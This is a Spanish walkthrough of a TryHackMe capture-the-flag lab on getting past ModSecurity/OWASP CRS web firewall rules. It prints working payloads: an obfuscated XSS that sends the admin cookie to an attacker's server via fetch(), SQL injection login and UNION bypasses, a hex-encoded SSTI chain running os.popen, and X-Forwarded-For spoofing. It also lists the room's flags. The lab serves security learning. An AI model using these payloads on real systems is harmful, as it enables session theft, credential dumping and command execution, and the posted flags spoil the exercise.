

WAF Exploitation Techniques

Write-Up completo de la sala de TryHackMe

Plataforma	TryHackMe
Dificultad	Media
Tiempo estimado	60 minutos
Autor	Pedro Egea Ortega



Tarea 1: Introducción

La sala introduce el concepto de WAF bypass: el objetivo es descubrir una entrada que permita que un payload malicioso llegue a la aplicación evadiendo las protecciones del WAF.

Conceptos clave

- WAF bypass: encontrar input que eluda las protecciones del firewall de aplicación web.
- OWASP Core Rule Set (CRS): colección de reglas genéricas de detección para WAFs.
- ModSecurity: implementación de WAF usada como objetivo en la sala.

Nota

En esta tarea solo hay que configurar el entorno virtual. No hay preguntas que responder.

Tarea 2: Explotando OWASP CRS v3.3.5 desactualizado

La aplicación web usa ModSecurity con OWASP CRS. El archivo REQUEST-941-APPLICATION-ATTACK-XSS.conf contiene las reglas 941110, 941160 y 941170 que bloquean ataques XSS mediante etiquetas script, tags HTML, event handlers y funciones como eval() y atob().

Técnicas de bypass utilizadas

- Unicode encoding: reemplazar caracteres en funciones bloqueadas (\u0065val = eval).
- Entidades HTML: sustituir caracteres clave (: en lugar de :).
- Carriage return HTML entity: insertar  dentro de la cadena 'javascript' para romper el regex.
- Base64 + eval(atob()): codificar el payload real en Base64 para ocultar su contenido.

Pregunta 1 — Robo de cookie del administrador

El administrador revisa periódicamente el post 'Welcome to the Blog'. Se debe inyectar un payload XSS que envíe su cookie al servidor HTTP del atacante.

Paso 1: Levantar servidor HTTP en la máquina atacante

```
python3 -m http.server 8000
```

Paso 2: Codificar el payload en Base64 con CyberChef

Payload original (roba la cookie y la envía al servidor):

```
fetch("http://<TU-IP>:8000/?" + document.cookie)
```

Resultado en Base64 (ejemplo con IP 10.64.120.139):

```
ZmV0Y2goImh0dHA6Ly8xMC42NC4xMjAuMTM5OjgwMDAvPyIgKyBkb2N1bWVudC5jb29raWUp
```

Paso 3: Inyectar el payload completo en el comentario del blog

```
<a href=ja&#x0D;vascript&colon;\u0065val(\u0061tob("ZmV0Y2goImh0dHA6Ly8xMC42NC4xMjAuMTM5OjgwMDAvPyIgKyBkb2N1bWVudC5jb29raWUp"))>test</a>
```

Flag — Cookie del admin

THM-ac86450f15150c1ad46fe70bcf26ee76

Mitigación: mantener el WAF actualizado con parches regulares para cerrar vulnerabilidades en el ruleset.

Tarea 3: Explotando configuraciones débiles

El WAF bloquea palabras clave comunes de SQL (UNION, SELECT, --, ;) pero la regla personalizada no tiene en cuenta la insensibilidad de mayúsculas/minúsculas, lo que permite bypassarla con capitalización mixta.

Pregunta 2 — Bypass de autenticación con SQLi

El payload estándar ' or 1=1-- devuelve 403 Forbidden. El siguiente payload con capitalización mixta evade la detección:

Payload de bypass

```
Usuario: ' oR tRue --  
Contraseña: (cualquier valor)
```

Este payload pasa el filtro del WAF al no coincidir exactamente con las palabras bloqueadas, pero la base de datos lo interpreta correctamente y devuelve acceso al panel de administración.

Flag — Panel de admin

THM-17451c0950af7761e1b57e7ac924f4c8

Tarea 4: Bypass por firma y patrón

Los WAFs detectan peticiones maliciosas buscando patrones conocidos en URIs, headers, cuerpo, cookies y datos XML/JSON. En esta tarea se explotan dos vulnerabilidades usando técnicas de codificación y ofuscación.

Técnicas cubiertas

- Encoding schemes: URL-encoding, hex-encoding, Unicode-encoding.
- Case sensitivity: capitalización mixta para evitar la detección.
- Obfuscación con espacios y delimitadores: comentarios SQL entre palabras clave.

Pregunta 3 — SSTI (Server-Side Template Injection)

La página Template es vulnerable a SSTI. Se utiliza hex-encoding completo de los identificadores de Python para que el WAF no reconozca los patrones bloqueados.

Obtener hex encoding de 'hostname' en CyberChef con el delimitador \x y sustituirlo en el template SSTI:

```
{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x68\x6f\x73\x74\x6e\x61\x6d\x65')['\x72\x65\x61\x64']() }}
```

Flag — Hostname del servidor

48e28fdbf2aa

Pregunta 4 — SQLi en la página de búsqueda

La página Search es vulnerable a inyección SQL. Se usan comentarios SQL (/**/) entre las palabras clave para romper los patrones de detección del WAF y capitalización mixta:

```
'/**/uNion/**/sElect/**/1,2,password,4 FROM users WHERE username='alice'; --
```

Flag — Hash de contraseña de alice

7abdccbea8473767e91378e37850d296

Tarea 5: Bypass de parsing y normalización

En esta tarea se explotan inconsistencias avanzadas en el análisis de las peticiones: manipulación de charset, truncación de contenido, errores en regex, manipulación de parámetros y evasión de listas negras.

Pregunta 5 — Bypass de lista negra de comandos

El WAF bloquea ciertos comandos de sistema (como 'cat'). Se puede eludir usando comandos alternativos que producen el mismo resultado:

```
head secret_eddc7de8235bb36940a39a778f7bb962.txt
```

Flag	THM-e4dafa6151c56061d1428126caf8c212
-------------	--------------------------------------

Pregunta 6 — Filtro XSS de truncación (Regla 5006)

La regla 5006 inspecciona solo los primeros 50 caracteres de la entrada. Al añadir 50 caracteres 'A' como relleno al inicio del payload, el contenido malicioso queda fuera de la ventana de inspección.

Respuesta	50 (caracteres 'A' de relleno)
------------------	--------------------------------

Tarea 6: Manipulación de protocolo HTTP

Muchos WAFs solo inspeccionan ciertos métodos HTTP, cabeceras o componentes de la petición, creando puntos ciegos. Esta tarea explora técnicas a nivel de protocolo para evadir la detección.

Técnicas cubiertas

- HTTP Method-Based Filtering Bypass: usar métodos alternativos no inspeccionados.
- HTTP Header Manipulation: manipular cabeceras para eludir rate limiting.
- Testing Alternative HTTP Methods: probar métodos que el WAF ignora.

Pregunta 6 — Hash de contraseña del admin via curl

Se usa curl para realizar una inyección SQL a través de un método HTTP que el WAF no filtra correctamente:

```
curl -i 'http://10.64.160.203/comment/add?search=x%27%20OR%201=1%20UNION/**/  
SELECT%20id,username,password,email,1%20FROM%20users-- '
```

Flag — Hash del
admin

0192023a7bbd73250516f069df18b500

Pregunta 7 — Header para bypass de rate limiting

El header X-Forwarded-For permite al cliente indicar la IP de origen de la petición. Si el WAF o la aplicación confía en este header para aplicar rate limiting, un atacante puede falsificar la IP en cada petición y eludir la restricción de tasa.

Respuesta

X-Forwarded-For

Resumen de flags

#	Descripción	Flag / Respuesta
T2	Cookie del admin (XSS bypass)	THM-ac86450f15150c1ad46fe70bcf26ee76
T3	Panel de admin (SQLi login)	THM-17451c0950af7761e1b57e7ac924f4c8
T4	Hostname del servidor (SSTI)	48e28fdbf2aa
T4	Hash de alice (SQLi search)	7abdccbea8473767e91378e37850d296
T5	Archivo secreto (RCE)	THM-e4dafa6151c56061d1428126caf8c212
T5	Padding XSS truncation	50
T6	Hash del admin (HTTP method)	0192023a7bbd73250516f069df18b500
T6	Header rate limiting	X-Forwarded-For